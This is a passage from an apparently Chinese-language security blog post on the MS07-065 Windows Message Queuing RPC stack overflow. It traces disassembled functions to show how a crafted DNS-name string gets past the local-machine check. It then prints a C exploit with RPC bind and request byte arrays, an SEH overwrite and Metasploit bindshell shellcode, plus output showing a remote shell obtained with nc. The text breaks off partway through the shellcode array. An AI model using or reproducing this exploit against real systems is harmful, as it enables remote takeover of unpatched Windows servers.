&#91;ebp+String1&#93;<br/>push&nbsp;&nbsp;&nbsp;&nbsp;edi<br/>push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Dest<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;ebp+Source&#93;&nbsp;&nbsp;&nbsp;&nbsp;; Source<br/>call&nbsp;&nbsp;&nbsp;&nbsp;?ExtractMachineName@@YAXPBGPAG@Z ; ExtractMachineName(ushort const *,ushort *)&nbsp;&nbsp;&nbsp;&nbsp; <br/>mov&nbsp;&nbsp;&nbsp;&nbsp; eax, &#91;ebp+arg_4&#93;<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; esi, ds:__imp__CompareStringW@24 ; CompareStringW(x,x,x,x,x,x)<br/>and&nbsp;&nbsp;&nbsp;&nbsp; dword ptr &#91;eax&#93;, 0<br/>push&nbsp;&nbsp;&nbsp;&nbsp;0FFFFFFFFh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; cchCount2<br/>push&nbsp;&nbsp;&nbsp;&nbsp;?g_szMachineName@@3PAGA ; lpString2<br/>lea&nbsp;&nbsp;&nbsp;&nbsp; eax, &#91;ebp+String1&#93;<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; edi, 800h<br/>push&nbsp;&nbsp;&nbsp;&nbsp;0FFFFFFFFh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; cchCount1<br/>push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; lpString1<br/>push&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; dwCmpFlags<br/>push&nbsp;&nbsp;&nbsp;&nbsp;edi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Locale<br/>call&nbsp;&nbsp;&nbsp;&nbsp;esi ; CompareStringW(x,x,x,x,x,x) ; CompareStringW(x,x,x,x,x,x)<br/>dec&nbsp;&nbsp;&nbsp;&nbsp; eax<br/>dec&nbsp;&nbsp;&nbsp;&nbsp; eax<br/>jnz&nbsp;&nbsp;&nbsp;&nbsp; short loc_6B2344E9</div><br/><br/>ExtractMachineName(ushort const *,ushort *) 这个函数把&#92;x5c 就是斜杠前的名字，就是机器名拷贝到某处，所以我们的传入参数里要有斜杠。<br/><br/>然后CompareStringW(x,x,x,x,x,x) 函数，把我们传入的斜杠前的那部分和 机器名比较，这里机器名是通过 <br/>push ?g_szMachineName@@3PAGA ; lpString2<br/>取得的，所以是一个定值。<br/><br/>对比完后，我们要让返回值不能为2，因为要跳转到下面的地方：<br/><div class="code">loc_6B2344E9:<br/>lea&nbsp;&nbsp;&nbsp;&nbsp; eax, &#91;ebp+String1&#93;<br/>push&nbsp;&nbsp;&nbsp;&nbsp;2Eh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Ch<br/>push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Str<br/>call&nbsp;&nbsp;&nbsp;&nbsp;ds:__imp__wcschr<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>test&nbsp;&nbsp;&nbsp;&nbsp;eax, eax<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;loc_6B2345DD</div><br/><br/>这里会把刚才斜杠前的那部分拿来比较，看中间有没有点，我们要让跳转条件非真，所以我们的传入参数中要带一个“.” 就是&#92;x2e<br/><br/>然后我们控制流程来到<br/><div class="code">push&nbsp;&nbsp;&nbsp;&nbsp;?g_szMachineName@@3PAGA ; Str<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; ebx, ds:__imp__wcslen<br/>call&nbsp;&nbsp;&nbsp;&nbsp;ebx ; __imp__wcslen<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; cchCount2<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; eax, ?g_szMachineName@@3PAGA ; ushort * g_szMachineName<br/>push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; lpString2<br/>push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Str<br/>call&nbsp;&nbsp;&nbsp;&nbsp;ebx ; __imp__wcslen<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; cchCount1<br/>lea&nbsp;&nbsp;&nbsp;&nbsp; eax, &#91;ebp+String1&#93;<br/>push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; lpString1<br/>push&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; dwCmpFlags<br/>push&nbsp;&nbsp;&nbsp;&nbsp;edi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Locale<br/>call&nbsp;&nbsp;&nbsp;&nbsp;esi ; CompareStringW(x,x,x,x,x,x) ; CompareStringW(x,x,x,x,x,x)<br/>dec&nbsp;&nbsp;&nbsp;&nbsp; eax<br/>dec&nbsp;&nbsp;&nbsp;&nbsp; eax<br/>jnz&nbsp;&nbsp;&nbsp;&nbsp; loc_6B2345DD<br/></div><br/><br/>这里再次把机器名和我们传入的参数比较了一次, 这时候要让跳转条件不成立<br/><br/>流程继续走到<br/><div class="code">.text:6B234531&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;?g_szMachineName@@3PAGA ; Str<br/>.text:6B234537&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;ebx ; __imp__wcslen<br/>.text:6B234539&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; &#91;ebp+eax*2+String1&#93;, 2Eh<br/>.text:6B234542&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>.text:6B234543&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; loc_6B2345DD<br/>.text:6B234549&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax, ?g_szComputerDnsName@@3V?$AP@G@@A ; AP&lt;ushort&gt; g_szComputerDnsName<br/>.text:6B23454E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp;&nbsp;eax, eax<br/>.text:6B234550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;short loc_6B234570<br/>.text:6B234552&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; ecx, &#91;ebp+String1&#93;<br/>.text:6B234558&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;ecx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Str2<br/>.text:6B234559&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Str1<br/>.text:6B23455A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;ds:__imp___wcsicmp&nbsp;&nbsp;;比较字符串<br/>.text:6B234560&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>.text:6B234561&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp;&nbsp;eax, eax<br/>.text:6B234563&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>.text:6B234564&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; short loc_6B234570&nbsp;&nbsp; ; 这里不能跳转<br/>.text:6B234566&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, &#91;ebp+arg_4&#93;<br/>.text:6B234569&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;1<br/>.text:6B23456B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp;&nbsp;&nbsp; eax<br/>.text:6B23456C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; &#91;ecx&#93;, eax<br/>.text:6B23456E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp;&nbsp;&nbsp; short loc_6B2345DF</div><br/><br/>注意这里<br/><div class="code">mov&nbsp;&nbsp;&nbsp;&nbsp; eax, ?g_szComputerDnsName@@3V?$AP@G@@A ; AP&lt;ushort&gt; g_szComputerDnsName<br/>test&nbsp;&nbsp;&nbsp;&nbsp;eax, eax<br/>jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;short loc_6B234570</div><br/><br/>这个dns name是从机器中取的<br/><div class="code">.text:6B234552&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; ecx, &#91;ebp+String1&#93;<br/>.text:6B234558&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;ecx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Str2<br/>.text:6B234559&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Str1<br/>.text:6B23455A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;ds:__imp___wcsicmp</div><br/><br/>然后马上比较两个串是否相同。<br/><br/>根据我们的流程需要，最后要走到 <br/><div class="code">mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, &#91;ebp+arg_4&#93;<br/>push&nbsp;&nbsp;&nbsp;&nbsp;1<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; eax<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; &#91;ecx&#93;, eax<br/>jmp&nbsp;&nbsp;&nbsp;&nbsp; short loc_6B2345DF<br/></div><br/><br/>然后这个天杀的 IsPathnameForLocalMachine 就总算返回为真了，而且我们同时绕过了以下两处的判断:<br/><div class="code">.text:6B2178CF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; eax, ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; 比较ispath函数的返回值<br/>.text:6B2178D1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>.text:6B2178D2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; short loc_6B2178EC&nbsp;&nbsp;&nbsp;&nbsp; ; 这里有个判断<br/><br/><br/>.text:6B2178EC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; &#91;ebp-1Ch&#93;, ebx&nbsp;&nbsp;&nbsp;&nbsp;; 这里有个判断<br/>.text:6B2178EF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;short loc_6B217906</div><br/><br/>从而让函数流程顺利的执行到了 ReplaceDNSNameWithNetBiosName<br/><br/>小结下绕过 IsPathnameForLocalMachine 的条件：<br/>1. 要发送个 目标机器的dnsname 加上 一个斜杠 &#92;<br/>2. 要是unicode字符串发送dnsname<br/><br/>实际上从 ReplaceDNSNameWithNetBiosName 这个函数的名字也可以看出来，是要把DNS name替换为 机器名。<br/><br/>同时也可以看出来这个漏洞的利用条件： 需要知道目标机器的dnsname。<br/>一般如果机器在域里面，那就是域后缀。<br/>如下图：<br/><br/><a href="http://www.huniao.com/attachment.php?fid=7" target="_blank"><img src="http://www.huniao.com/attachment.php?fid=7" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>我的机器名是： a-dda41398f44f4<br/>DNS后缀是： .fuck<br/><br/>注意这个“.”很重要，在触发条件中是一定要的。<br/><br/><br/><br/><br/><br/><br/>========= 这是要抓狂的分割线 =================<br/><br/><br/><br/><br/><br/>现在回过头来看 ReplaceDNSNameWithNetBiosName 的代码：<br/><div class="code">push&nbsp;&nbsp;&nbsp;&nbsp;esi<br/>push&nbsp;&nbsp;&nbsp;&nbsp;5Ch&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Ch<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;esp+8+Str&#93;&nbsp;&nbsp;&nbsp;&nbsp; ; Str<br/>call&nbsp;&nbsp;&nbsp;&nbsp;ds:__imp__wcschr<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; esi, eax<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>push&nbsp;&nbsp;&nbsp;&nbsp;?g_szMachineName@@3PAGA ; Source<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;esp+8+Dest&#93;&nbsp;&nbsp;&nbsp;&nbsp;; Dest<br/>call&nbsp;&nbsp;&nbsp;&nbsp;ds:__imp__wcscpy<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>push&nbsp;&nbsp;&nbsp;&nbsp;esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Source<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;esp+8+Dest&#93;&nbsp;&nbsp;&nbsp;&nbsp;; Dest<br/>call&nbsp;&nbsp;&nbsp;&nbsp;ds:__imp__wcscat</div><br/><br/>就是把 &#92; 后面的字符串，wcscat到 机器名后面， 而这个拷贝发生在栈上，没有做长度检查，发生了栈溢出。<br/><br/><br/>最后我使用覆盖seh 的方法利用成功发送超过2000 bytes字节的stub，保证覆盖到栈底触发异常，然后call ebx执行shellcode<br/><br/><br/>下面是一个装B的exploit，只适用于我的机器（机器名是a-dda41398f44f4 , dns 后缀是.fuck ），如果你要修改，需要考虑到机器名的不同带来的影响，要重新计算payload长度值. 为啥说这是装B的exploit呢，因为明明有更清晰的exploit写法我不写，要写个可以忽悠很多人的。所以说大家要是以前看到过这种exploit写法又看不懂，那不要灰心，那个人只是和我一样在装B而已！<br/><br/>Exploit运行效果：<br/><a href="http://www.huniao.com/attachment.php?fid=8" target="_blank"><img src="http://www.huniao.com/attachment.php?fid=8" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>Shellcode 使用exitthread退出线程，则可以反复溢出，如果使用seh退出，则会反复执行你的shellcode<br/><br/><br/><br/><br/><br/><br/><br/>======== 这是装B的分割线 ===============<br/><div class="code">/*<br/>Windows Message Queuing Service Remote RPC BOF Exploit (MS07-065)<br/>by axis<br/><a href="http://www.ph4nt0m.org" target="_blank">http://www.ph4nt0m.org</a><br/><br/>&nbsp;&nbsp;you should know the dnsname of target to trigger this vuln<br/>&nbsp;&nbsp;the service runs on port 2103/2105/2107<br/><br/>D:&#92;soft&#92;develop&#92;MyProjects&#92;temp&#92;Debug&gt;temp.exe -h 192.168.152.100 -p 2103<br/>--------------------------------------------------------------------------<br/>-== Windows Message Queuing Service Remote RPC BOF Exploit (MS07-065) ==-<br/>-== code by axis@ph4nt0m ==-<br/>-== <a href="Http://www.ph4nt0m.org" target="_blank">Http://www.ph4nt0m.org</a> ==-<br/>-== Tested against Windows 2000 server SP4 ==-<br/>--------------------------------------------------------------------------<br/><br/>&#91;+&#93; Attacking default port 2103<br/>&#91;*&#93;Sending our Payload, Good Luck! ^_^<br/>&#91;*&#93;Sending RPC Bind String!<br/>&#91;*&#93;Sending RPC Request Now!<br/><br/>D:&#92;soft&#92;develop&#92;MyProjects&#92;temp&#92;Debug&gt;<br/><br/><br/>D:&#92;&gt;nc -vv -n 192.168.152.100 1154<br/>(UNKNOWN) &#91;192.168.152.100&#93; 1154 (?) open: unknown socket error<br/>Microsoft Windows 2000 &#91;Version 5.00.2195&#93;<br/>(C) 版权所有 1985-2000 Microsoft Corp.<br/><br/>C:&#92;WINNT&#92;system32&gt;exit<br/>exit<br/>sent 5, rcvd 109: NOTSOCK<br/><br/>D:&#92;&gt;<br/><br/><br/>*/<br/>#include &lt;stdio.h&gt;<br/>#include &lt;stdlib.h&gt;<br/>#include &lt;ctype.h&gt;<br/>#include &lt;winsock.h&gt;<br/>#include &lt;io.h&gt;<br/>#pragma comment(lib,&quot;ws2_32&quot;)<br/><br/>// RPC Bind UUID: fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0<br/>char bind_str&#91;&#93; = &#123;<br/>0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, <br/>0x48, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, <br/>0xd0, 0x16, 0xd0, 0x16, 0x00, 0x00, 0x00, 0x00, <br/>0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, <br/>0x30, 0xa0, 0xb3, 0xfd, 0x5f, 0x06, 0xd1, 0x11, <br/>0xbb, 0x9b, 0x00, 0xa0, 0x24, 0xea, 0x55, 0x25, <br/>0x01, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, <br/>0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, <br/>0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00 &#125;;<br/><br/><br/>// RPC Request&nbsp;&nbsp;Opnum: 0x06&nbsp;&nbsp;<br/>char request_1&#91;&#93; = &#123;<br/>0x05, 0x00, 0x00, 0x81, 0x10, 0x00, 0x00, 0x00, <br/>0xd0, 0x16, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, <br/>0x98, 0x17, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, <br/>0x30, 0xa0, 0xb3, 0xfd, 0x5f, 0x06, 0xd1, 0x11, <br/>0xbb, 0x9b, 0x00, 0xa0, 0x24, 0xea, 0x55, 0x25, <br/>0x01, 0x00, 0x00, 0x00, 0xba, 0x0b, 0x00, 0x00, <br/>0x00, 0x00, 0x00, 0x00, 0xba, 0x0b, 0x00, 0x00, <br/>0x61, 0x00, 0x2d, 0x00, 0x64, 0x00, 0x64, 0x00,&nbsp;&nbsp;// target&#039;s dns name (unicode)<br/>0x61, 0x00, 0x34, 0x00, 0x31, 0x00, 0x33, 0x00, <br/>0x39, 0x00, 0x38, 0x00, 0x66, 0x00, 0x34, 0x00, <br/>0x34, 0x00, 0x66, 0x00, 0x34, 0x00, 0x2e, 0x00, <br/>0x66, 0x00, 0x75, 0x00, 0x63, 0x00, 0x6b, 0x00, <br/>0x5c, 0x00, 0x00, 0xcc, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, <br/>0x41, 0x41, 0xeb, 0x06, 0x42, 0x42, 0x32, 0xb0,&nbsp;&nbsp;&nbsp;&nbsp; // &#92;xeb&#92;x06&#92;x42&#92;x42 jmpcode <br/>0x01, 0x78, 0x2b, 0xc9, 0x83, 0xe9, 0xb0, 0xd9,&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;overwrite seh ; call ebx<br/>0xee, 0xd9, 0x74, 0x24, 0xf4, 0x5b, 0x81, 0x73,&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;bindshell on port 1154, metasploit shellcode<br/>0x13, 0x1d, 0x82, 0x67, 0xb4, 0x83, 0xeb, 0xfc, <br/>0xe2, 0xf4, 0xe1, 0xe8, 0x8c, 0xf9, 0xf5, 0x7b, <br/>0x98, 0x4b, 0xe2, 0xe2, 0xec, 0xd8, 0x39, 0xa6, <br/>0xec, 0xf1, 0x21, 0x09, 0x1b, 0xb1, 0x65, 0x83, <br/>0x88, 0x3f, 0x52, 0x9a, 0xec, 0xeb, 0x3d, 0x83, <br/>0x8c, 0xfd, 0x96, 0xb6, 0xec, 0xb5, 0xf3, 0xb3, <br/>0xa7, 0x2d, 0xb1, 0x06, 0xa7, 0xc0, 0x1a, 0x43, <br/>0xad, 0xb9, 0x1c, 0x40, 0x8c, 0x40, 0x26, 0xd6, <br/>0x43, 0x9c, 0x68, 